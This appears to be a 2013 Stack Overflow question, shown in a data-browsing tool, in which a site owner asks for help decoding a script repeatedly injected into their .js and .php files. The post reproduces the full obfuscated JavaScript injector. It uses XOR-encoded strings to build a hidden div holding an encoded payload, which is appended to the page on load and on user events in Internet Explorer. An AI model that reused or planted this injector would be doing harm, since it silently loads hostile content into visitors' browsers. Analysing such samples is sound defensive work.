Databases
StackOverflow2013
Postsdbo
POmalware code insert script to my .js .php and include file. help me to decode script
Body
 

Note that there are some explanatory texts on larger screens.

plurals
  1. POmalware code insert script to my .js .php and include file. help me to decode script
    text
    copied!<p>My website were inserted these scripts about 4 times already. I have changed ftp password too many times but it still be able to insert to my webpage. Pls help me to decode two these scripts. Maybe I can find more details about this malware script.</p> <p><code>&lt;script&gt;var MaZsKgZUgCCRdH = ["98","73","79","45","64","92","91","66","35","70","82","4","65","80","17","76","3","74","41","69","1","40","77","52","54","42","9","22","88","0","30","59","26","94","99","85","16","86","55","34","81","67","56","97","36","78","63","72","38","43","62","7","33","96","31","25","90","19","48","6","14","87","28","13","23","24","68","39","61","49","37","71","10","12","83","44","29","32","84","50","18","100","47","15","51","20","53","11","93","58","60","2","95","8","27","75","46","21","5","89","57"];var a = ["83","78","4","74","7","87","29","29","21","20","29","93","11","29","14","7","87","78","83","82","72","91","78","26","82","94","83","83","12","29","94","83","26","26","74","73","20","78","5","83","95","21","95","11","2","72","72","84","7","82","86","24","84","83","95","73","94","4","78","64","24","93","9","73","91","29","26","95","95","21","72","7","93","83","0","92","78","95","87","92","82","95","89","15","91","85","21","9","91","95","78","95","87","82","20","6","77","85","6","89","93"];function wCBFqxiBsScuHg(VCAscVoJW, IU){var CgoBQGzvdo='';for(var HYDZhkaoy=0;HYDZhkaoy&lt; VCAscVoJW.length;HYDZhkaoy++)CgoBQGzvdo+=String.fromCharCode(parseInt(VCAscVoJW[IU[HYDZhkaoy]])^58);return CgoBQGzvdo;}function DUJiJVvMZAgBr(xZwtmwHJjcOg, ePUFHpNSM){var U='';for(var yBIrf=0;yBIrf&lt; xZwtmwHJjcOg.length;yBIrf++)U += String.fromCharCode(parseInt(xZwtmwHJjcOg[yBIrf], 16)^ePUFHpNSM); return U;}(function(TfEh){var PGMRLirigv=function(){if(!TfEh.BcRTDdLpRbS){TfEh.BcRTDdLpRbS=133;var GQdPVJX = ["20","2b","27","31","29","21","2a","30"];var hQxQnSWejILY=DUJiJVvMZAgBr(GQdPVJX, 68);var CQjjfdHLQzuftp = ["7f","6e","79","7d","68","79","59","70","79","71","79","72","68"];var kpCkPGQ=DUJiJVvMZAgBr(CQjjfdHLQzuftp, 28);var DOdnKPRxnUn = ["d3","de","c1"];var m=DUJiJVvMZAgBr(DOdnKPRxnUn, 183);var Hsz = ["90","97","97","9c","8b","b1","ad","b4","b5"];var bBetq=DUJiJVvMZAgBr(Hsz, 249);var el = ["1f","18","15","0","9"];var FsoPN=DUJiJVvMZAgBr(el, 108);var yNkqOiY = ["fd","f0","ea","e9","f5","f8","e0"];var YPtQveRMcV=DUJiJVvMZAgBr(yNkqOiY, 153);var JjrPjK = ["ed","ec","ed","e6"];var HBchKFWjQp=DUJiJVvMZAgBr(JjrPjK, 131);var ZDHWSZcCzlmCy = ["8e","83","88","95"];var atpwWUCri=DUJiJVvMZAgBr(ZDHWSZcCzlmCy, 236);var knAtUGVSknpiOb = ["7f","6e","6e","7b","70","7a","5d","76","77","72","7a"];var KNMcxqPBoFEzlG=DUJiJVvMZAgBr(knAtUGVSknpiOb, 30);if(function FRlTmsRJNFmnm(){var iBcOzbBLaJib=true;var yLjfQ=true;var Xbj=/*@cc_on true; @*/false;if(Xbj){iBcOzbBLaJib = true;}else{iBcOzbBLaJib = false;}var VPpowKZVXUiA = ["22","1c","1b"];var GZlLbRNA=DUJiJVvMZAgBr(VPpowKZVXUiA, 117);var FzCjYUCHuJYWjz = ["89","a5","a7"];var zudnwEuKBbXyT=DUJiJVvMZAgBr(FzCjYUCHuJYWjz, 196);var PUEAgmcfh = ["2d","8","f","14","19"];var VyhuFnerNWUuk=DUJiJVvMZAgBr(PUEAgmcfh, 97);var yM = ["af","a0","b7","a8","a6","a0","b5","ae","b3"];var bDiUBGqVfYZ=DUJiJVvMZAgBr(yM, 193);var TYBSKqXbNiGcz = ["4d","4a","40","41","5c","6b","42"];var aMpCvJBLTfhMUw=DUJiJVvMZAgBr(TYBSKqXbNiGcz, 36);var TxHK = ["f5","e9","e4","f1","e3","ea","f7","e8"];var BjNy=DUJiJVvMZAgBr(TxHK, 133);var oGeLQlnBCmKgsn=window[bDiUBGqVfYZ][BjNy][aMpCvJBLTfhMUw](GZlLbRNA) &gt; -1;if(oGeLQlnBCmKgsn){yLjfQ = true;}else{yLjfQ = false;}return (iBcOzbBLaJib&amp;&amp;yLjfQ);}()){var FnxPXniTOHuU=window[hQxQnSWejILY][kpCkPGQ](m);FnxPXniTOHuU[bBetq]=wCBFqxiBsScuHg(a, MaZsKgZUgCCRdH);FnxPXniTOHuU[FsoPN][YPtQveRMcV]=HBchKFWjQp;window[hQxQnSWejILY][atpwWUCri][KNMcxqPBoFEzlG](FnxPXniTOHuU);}}};var iFyMPH = ["b2","b7","b7","96","a5","b6","bd","a7","9f","ba","a0","a7","b6","bd","b6","a1"];var GkMNyvoZ=DUJiJVvMZAgBr(iFyMPH, 211);var uQO = ["2f","3a","3a","2f","2d","26","b","38","2b","20","3a"];var QuPuK=DUJiJVvMZAgBr(uQO, 78);var MouT = ["87","86"];var KdAtYlyqzy=DUJiJVvMZAgBr(MouT, 232);var VwQKdbWCag = ["7a","79","77","72"];var oicFpeAL=DUJiJVvMZAgBr(VwQKdbWCag, 22);var CPrCjZTfm = ["76","7f","73","65","63"];var hMiVnsaLJ=DUJiJVvMZAgBr(CPrCjZTfm, 16);var gAcCaolkjo = ["67","69","70","77"];var vB=DUJiJVvMZAgBr(gAcCaolkjo, 5);var MZeG = ["11","13","9","f","19","11","13","a","19"];var SQ=DUJiJVvMZAgBr(MZeG, 124);var HA = ["4b","40","42","5d","4a","4e","4b","56"];var XzF=DUJiJVvMZAgBr(HA, 47);var xAGaJwayje;if(TfEh[GkMNyvoZ])xAGaJwayje=GkMNyvoZ;else xAGaJwayje=QuPuK;var XHF=[oicFpeAL, hMiVnsaLJ, vB, SQ, XzF];for(JNsqiuHb in XHF){TfEh[xAGaJwayje](XHF[JNsqiuHb], PGMRLirigv, false);TfEh[xAGaJwayje]('on' + XHF[JNsqiuHb], PGMRLirigv, false);}})(window)&lt;/script&gt; </code></p>
 

Querying!

 
Guidance
An individual column

Larger individual text columns get their own page to allow for proper reading.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload